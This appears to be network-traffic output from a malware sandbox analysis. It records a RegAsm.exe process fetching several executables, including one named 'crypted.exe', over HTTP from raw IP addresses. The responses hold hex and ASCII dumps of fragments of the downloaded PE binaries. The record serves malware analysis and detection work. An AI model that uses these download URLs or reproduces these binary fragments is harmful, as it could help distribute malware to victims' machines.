Sep 18, 2024 14:30:08.024996996 CEST	1236	IN	Data Raw: f7 ff ff 68 1c c4 40 00 e8 d1 f7 ff ff c3 e9 43 13 00 00 eb db 5b 5d c3 8b c0 53 3b 05 68 c4 40 00 75 09 8b 50 04 89 15 68 c4 40 00 8b 50 04 8b 48 08 81 f9 00 10 00 00 7f 2a 3b c2 75 10 c1 e9 02 a1 74 c4 40 00 33 d2 89 54 88 f4 eb 1d c1 e9 02 8b Data Ascii: h@C[]S;h@uPh@PH*;ut@3Tt@TP[P[x@J;rJ;rx@u@3S\|[\|[@@
Sep 18, 2024 14:30:08.025008917 CEST	1236	IN	Data Raw: 04 01 35 00 c4 40 00 eb 4c 8b c3 e8 36 fb ff ff 8b 53 08 8b c2 2b c6 83 f8 0c 7c 0c 8b d3 03 d6 92 e8 60 fd ff ff eb 12 8b f2 3b 1f 75 05 8b 43 04 89 07 8b c3 03 c6 83 20 fe 8b c3 8b d6 83 ca 02 89 10 83 c0 04 ff 05 fc c3 40 00 83 ee 04 01 35 00 Data Ascii: 5@L6S+\|`;uC @5@]_^[USVW=@u+u3ET3UhH!@d6d&=2@th@X}yt@Tty B;uy
Sep 18, 2024 14:30:08.025023937 CEST	448	IN	Data Raw: 24 29 44 24 04 eb 2c e8 66 f6 ff ff 8b 44 24 04 29 04 24 83 3c 24 0c 7c 0e 8b c5 03 c6 8b 14 24 e8 8d f8 ff ff eb 3a 03 34 24 8b dd 03 de 83 23 fe eb 2e 8b 03 a9 00 00 00 80 74 21 25 fc ff ff 7f 03 c3 8b d8 8b 54 24 04 8b c3 e8 e6 f9 ff ff 84 c0 Data Ascii: $)D$,fD$)$<$\|$:4$#.t!%T$t3+@E%uYZ]_^[UQSVW=@u/u3E3Uh%@d2d"=2@th@\t]7%
Sep 18, 2024 14:30:08.025178909 CEST	1236	IN	Data Raw: 89 01 c3 8d 40 00 83 e0 7f 8b 0d 04 c0 40 00 85 c9 74 03 5a ff d1 48 8a 80 3d 26 40 00 79 0b e8 22 0b 00 00 8b 80 04 00 00 00 e9 04 18 00 00 cb cc c8 c9 d7 cf c8 cd ce db d8 ca d9 da dc dd de df e0 e1 c3 8b c0 50 52 51 e8 f8 0a 00 00 83 b8 04 00 Data Ascii: @@tZH=&@y"PRQYZXu1@P@VW9t/x*_^t\|x_^UEPEk<fEk<1fUifU,@]
Sep 18, 2024 14:30:08.025191069 CEST	1236	IN	Data Raw: 00 89 41 0c 64 89 0a 5b 59 5a c3 e9 16 01 00 00 8b 44 24 2c 8b 40 0c e8 26 fe ff ff e8 cd 03 00 00 c3 8b 10 ff 52 f8 c3 8b c0 80 3d 00 b0 40 00 01 76 10 6a 00 6a 00 6a 00 68 cf fa ed 0e e8 97 e6 ff ff c3 8b c0 80 3d 00 b0 40 00 00 74 16 50 50 52 Data Ascii: Ad[YZD$,@&R=@vjjjh=@tPPRTjjhyXTjjheX=@vPs=@vPS@tA9t9uAA=@vPRQQTjjhYYZX=@v
Sep 18, 2024 14:30:08.025212049 CEST	1236	IN	Data Raw: 00 c0 7f 11 74 3d 2d 93 00 00 c0 74 2e 48 74 13 48 74 24 eb 3a 2d fd 00 00 c0 74 2f 83 e8 3d 74 26 eb 2c b0 c8 eb 2a b0 c9 eb 26 b0 cd eb 22 b0 cf eb 1e b0 c8 eb 1a b0 d7 eb 16 b0 ce eb 12 b0 d8 eb 0e b0 da eb 0a b0 d9 eb 06 b0 ca eb 02 b0 d9 25 Data Ascii: t=-t.HtHt$:-t/=t&,*&"%RX]D$@uk2T$jPh<0@R\$;SCt@Sx@tL$Q$11Edd@0@
Sep 18, 2024 14:30:08.025223970 CEST	1236	IN	Data Raw: e8 09 fd ff ff 5b c2 04 00 c3 85 c0 74 56 53 56 57 55 89 c3 89 d6 89 cf 8b 12 52 85 d2 74 03 8b 52 fc 4f 7d 02 31 ff 39 d7 7e 02 89 d7 8b 6b fc 89 f0 01 ea e8 2d 00 00 00 58 39 d8 75 02 8b 1e 8b 06 8d 14 2f 8b 48 fc 29 d1 01 c2 01 f8 e8 a7 f1 ff Data Ascii: [tVSVWURtRO}19~k-X9u/H)]_^[SVW1tHt#xuPXp0('tH9\|?L;_^[1SJVWt\|FO_^[S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49705	103.130.147.211	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.690766096 CEST	203	OUT	HEAD /Files/1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 18, 2024 14:30:07.267601967 CEST	277	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 18 Sep 2024 11:46:59 GMT ETag: "1060a90-622635d1e522b" Accept-Ranges: bytes Content-Length: 17173136 Content-Type: application/x-msdownload
Sep 18, 2024 14:30:07.269048929 CEST	202	OUT	GET /Files/1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 18, 2024 14:30:07.682478905 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 18 Sep 2024 11:46:59 GMT ETag: "1060a90-622635d1e522b" Accept-Ranges: bytes Content-Length: 17173136 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 68 59 e5 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 10 37 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 a9 a1 06 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 da 05 00 00 00 00 00 00 00 00 00 00 30 ec 05 01 60 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdhYf"07 @ ``0` H.text7 8 `.rsrc`:@@H\|(.(:(}&({2(&o'((((((2(&o5.s9(90"~(~-8~i~2~+~9X2+~9X~2+~o,nX2~i Z(0.(+~,:~o,,X2sz~
Sep 18, 2024 14:30:07.682507992 CEST	1236	IN	Data Raw: 02 00 00 04 16 11 04 16 08 28 0a 00 00 0a 11 04 80 02 00 00 04 02 08 20 00 01 00 00 58 7d 07 00 00 04 7e 02 00 00 04 08 02 a2 08 17 58 80 03 00 00 04 de 0a 07 2c 06 06 28 0b 00 00 0a dc 2a 00 00 41 18 00 00 02 00 00 00 08 00 00 00 0f 01 00 00 17 Data Ascii: ( X}~X,(A0O-rpsz22iY1sz(+XXGRX20Ms+~YooX~$o
Sep 18, 2024 14:30:07.682523966 CEST	448	IN	Data Raw: 00 00 06 16 8d 08 00 00 01 28 08 00 00 06 1c 28 07 00 00 06 17 8d 08 00 00 01 25 16 7e 08 00 00 04 a2 28 08 00 00 06 1d 28 07 00 00 06 16 8d 08 00 00 01 28 08 00 00 06 1e 28 07 00 00 06 18 8d 08 00 00 01 28 08 00 00 06 26 72 27 00 00 70 28 36 00 Data Ascii: ((%~(((((&r'p(6$MI7:0(-o*0`~({ 26o7~{ Y3~{ Y
Sep 18, 2024 14:30:07.682538033 CEST	1236	IN	Data Raw: 3b 00 00 0a 14 73 03 00 00 06 0a de 0a 06 2c 06 06 6f 21 00 00 0a dc 2a 00 01 0c 00 00 02 00 12 00 02 14 00 0a 00 00 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 e8 09 00 00 23 Data Ascii: ;s,o!BSJBv4.0.30319l#~T#Strings0,#US\#GUIDl(#BlobW_3:8J*
Sep 18, 2024 14:30:07.682550907 CEST	1236	IN	Data Raw: 00 96 00 91 1a 47 00 0d 00 8e 20 00 00 00 00 96 00 b2 0a 47 00 0d 00 96 20 00 00 00 00 96 00 a8 10 47 00 0d 00 9e 20 00 00 00 00 96 00 9a 0c 47 00 0d 00 a6 20 00 00 00 00 96 00 da 11 47 00 0d 00 00 00 00 00 80 00 91 20 de 05 4c 00 0d 00 00 00 00 Data Ascii: G G G G G L U Z$` gP%D'Hm0''fr(x \|@(
Sep 18, 2024 14:30:07.682562113 CEST	1236	IN	Data Raw: 01 99 01 c7 01 04 02 38 02 90 02 a9 02 b5 02 bf 02 c4 02 cc 02 04 00 01 00 00 00 f7 07 ab 00 02 00 04 00 03 00 bb 03 a4 01 d1 01 f7 01 32 02 00 01 23 00 de 05 01 00 00 01 25 00 87 06 01 00 00 01 27 00 af 05 01 00 04 80 00 00 01 00 00 00 00 00 00 Data Ascii: 82#%'}Gk8List`1Int32Dictionary`2get
Sep 18, 2024 14:30:07.682574987 CEST	1236	IN	Data Raw: 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 00 45 6e 75 6d 00 4d 69 6e 00 41 70 70 6c 69 63 61 74 69 6f 6e 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 00 41 72 67 75 6d 65 6e 74 4f Data Ascii: mmetricAlgorithmICryptoTransformEnumMinApplicationSystem.ReflectionArgumentOutOfRangeExceptionArgumentNullExceptionArgumentExceptionEnterToPointer.ctor.cctorMonitorCreateDecryptorICommandExecutorIntPtrSystem.DiagnosticsSystem
Sep 18, 2024 14:30:07.682588100 CEST	896	IN	Data Raw: eb 9b 9d ed 81 ad eb 84 92 ea a3 8f eb 93 86 eb 86 b6 eb 9b 96 eb 82 82 ea a1 86 00 ea a5 be ea b1 a9 ea a7 87 eb 87 ab ec ba bd ec bd bd eb 83 bc ea ba bd eb a7 98 ea be aa ea bf bd eb 9b 82 e3 82 b8 ed 81 90 eb 8a 8b eb 8e bb ea ae 98 ea ab 8f Data Ascii:
Sep 18, 2024 14:30:07.682600975 CEST	1236	IN	Data Raw: ec bd 94 eb a1 80 ea b9 9c eb 80 8c ea bf b4 ea b1 80 eb 91 ac ea a6 82 eb a3 94 ec bc 83 eb 8c 84 ea aa 9f ea b8 9d ea a5 ae ea a1 8b eb a4 8b 00 eb a5 8e eb 8c b1 ea b3 b2 eb a5 a9 eb 85 81 ea ac a9 ea a5 8c 00 eb 8b 83 eb 8f 9d ea ba a9 e3 82 Data Ascii:
Sep 18, 2024 14:30:07.682614088 CEST	1236	IN	Data Raw: eb 91 bc eb 81 9a ea a8 a9 ea bd 9f ea bb a5 ea ad a7 eb 8c bf ea b2 be eb 95 a5 eb 90 ac ea b0 99 00 eb a1 9b ed 83 99 ec bb 81 eb a8 bd ea b5 99 eb 8e be ea b1 bf ed 83 ab eb 9b 82 eb a6 b4 ed 82 9b 00 eb a3 ae ed 83 ad ea bf 89 ea bd b3 eb 80 Data Ascii:
Sep 18, 2024 14:30:07.682626009 CEST	1236	IN	Data Raw: eb 81 82 ea b0 9b ea ba a6 eb 95 90 ea ab 87 eb 86 94 eb 81 a2 eb a0 a7 ed 81 9d ec bb a8 00 ea a7 a3 ea b2 86 ea a9 94 ea b2 b0 ec be 82 ea b4 98 ea b3 ad ea be bf ea 9c a2 ea a4 88 ea 9f b3 eb 90 b4 ea b8 a2 eb 93 96 ea bf a8 00 eb 8c ac ea a6 Data Ascii:
Sep 18, 2024 14:30:07.688585043 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 18 Sep 2024 11:46:59 GMT ETag: "1060a90-622635d1e522b" Accept-Ranges: bytes Content-Length: 17173136 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 68 59 e5 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 10 37 00 00 da 05 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 a9 a1 06 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 da 05 00 00 00 00 00 00 00 00 00 00 30 ec 05 01 60 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdhYf"07 @ ``0` H.text7 8 `.rsrc`:@@H\|(.(:(}&({2(&o'((((((2(&o5.s9(90"~(~-8~i~2~+~9X2+~9X~2+~o,nX2~i Z(0.(+~,:~o,,X2sz~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49706	147.45.44.104	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.690938950 CEST	216	OUT	HEAD /yuop/66e9b62daa62d_xin.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.323036909 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 360824 Last-Modified: Tue, 17 Sep 2024 17:02:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e9b62d-58178" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 18, 2024 14:30:07.324301004 CEST	222	OUT	HEAD /revada/66e98ff1d44e2_crypted.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.684540987 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 331128 Last-Modified: Tue, 17 Sep 2024 14:19:29 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e98ff1-50d78" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 18, 2024 14:30:07.684875965 CEST	216	OUT	GET /prog/66e705d09b33c_jack.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:07.880125046 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:07 GMT Content-Type: application/octet-stream Content-Length: 4249600 Last-Modified: Sun, 15 Sep 2024 16:05:36 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e705d0-40d800" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 55 fb d1 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9c 3e 00 00 38 02 00 00 00 00 00 ae ba 3e 00 00 20 00 00 00 c0 3e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 41 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 60 ba 3e 00 4b 00 00 00 00 e0 3e 00 84 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 41 00 0c 00 00 00 10 ba 3e 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_U>8> >@ @A@`>K>. A> H.text> > `.sdata>>@.rsrc.>0>@@.reloc A@@B
Sep 18, 2024 14:30:07.880225897 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >H0&MPVjO([<([<*****([<
Sep 18, 2024 14:30:07.880239010 CEST	1236	IN	Data Raw: 70 72 bb 01 00 70 6f 3d 00 00 0a 72 bf 01 00 70 72 c3 01 00 70 6f 3d 00 00 0a 72 c7 01 00 70 72 cb 01 00 70 6f 3d 00 00 0a 72 d5 00 00 70 72 cf 01 00 70 6f 3d 00 00 0a 72 d3 01 00 70 72 df 01 00 70 6f 3d 00 00 0a a2 25 18 18 8c 53 00 00 01 a2 25 Data Ascii: prpo=rprpo=rprpo=rprpo=rprpo=%S%%rp(R(182 E'-8& 8O($rpriprp(=(>%%rup(>r}
Sep 18, 2024 14:30:07.880251884 CEST	1236	IN	Data Raw: 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ******************************
Sep 18, 2024 14:30:07.880264044 CEST	1236	IN	Data Raw: 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 13 30 03 00 04 00 00 Data Ascii: 0*****([<00000*********([<0
Sep 18, 2024 14:30:07.880275965 CEST	1236	IN	Data Raw: 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 Data Ascii: *0****000000
Sep 18, 2024 14:30:07.880286932 CEST	1236	IN	Data Raw: 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 77 00 00 02 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 Data Ascii: ***"w*******************([<0
Sep 18, 2024 14:30:07.880299091 CEST	1000	IN	Data Raw: 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 8b 00 00 02 2a 12 00 00 00 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 17 00 00 02 2a 12 00 00 00 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 8e 00 00 02 2a 12 00 00 Data Ascii: 00000000**0
Sep 18, 2024 14:30:07.880621910 CEST	1236	IN	Data Raw: 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 9a 00 11 ab 00 1b 26 00 00 Data Ascii: 0000&00000*00**0
Sep 18, 2024 14:30:07.880712032 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 8d 00 00 02 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 8e 00 00 02 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 8a 00 00 02 2a 00 00 00 13 30 03 Data Ascii: "0"0"0"0"0"0"0"0**
Sep 18, 2024 14:30:07.880723953 CEST	1236	IN	Data Raw: 00 00 00 22 00 14 a5 14 00 00 02 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 13 00 00 02 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ""*****"w"*""""******
Sep 18, 2024 14:30:11.273128986 CEST	221	OUT	GET /revada/66e98ff1d44e2_crypted.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:11.544063091 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:11 GMT Content-Type: application/octet-stream Content-Length: 331128 Last-Modified: Tue, 17 Sep 2024 14:19:29 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e98ff1-50d78" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 7d e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 da 04 00 00 08 00 00 00 00 00 00 6e f8 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 04 00 57 00 00 00 00 00 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 e4 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 dc f6 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELM}fn @ @`Wx) H.textt `.rsrc@@.reloc @BPH uGh\y%:zM$ vs87kEefICpM^%^ha2/r" #z0blv)IM.a228,:g>s+z{6fZ~A037Q~)QpD>\|Wf91^<#Pkq1G0`zU B"Lz&VDH!Lv\0[GUq#Qr5XFGKun?*`1n&.5yN&)q
Sep 18, 2024 14:30:11.784426928 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:11 GMT Content-Type: application/octet-stream Content-Length: 331128 Last-Modified: Tue, 17 Sep 2024 14:19:29 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e98ff1-50d78" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 7d e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 da 04 00 00 08 00 00 00 00 00 00 6e f8 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 04 00 57 00 00 00 00 00 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 e4 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 dc f6 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELM}fn @ @`Wx) H.textt `.rsrc@@.reloc @BPH uGh\y%:zM$ vs87kEefICpM^%^ha2/r" #z0blv)IM.a228,:g>s+z{6fZ~A037Q~)QpD>\|Wf91^<#Pkq1G0`zU B"Lz&VDH!Lv\0[GUq#Qr5XFGKun?*`1n&.5yN&)q
Sep 18, 2024 14:30:11.798176050 CEST	237	OUT	GET /revada/66e86c030044f_UniversityGradually.exe#sun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 18, 2024 14:30:11.983963013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:11 GMT Content-Type: application/octet-stream Content-Length: 1555388 Last-Modified: Mon, 16 Sep 2024 17:33:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e86c02-17bbbc" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 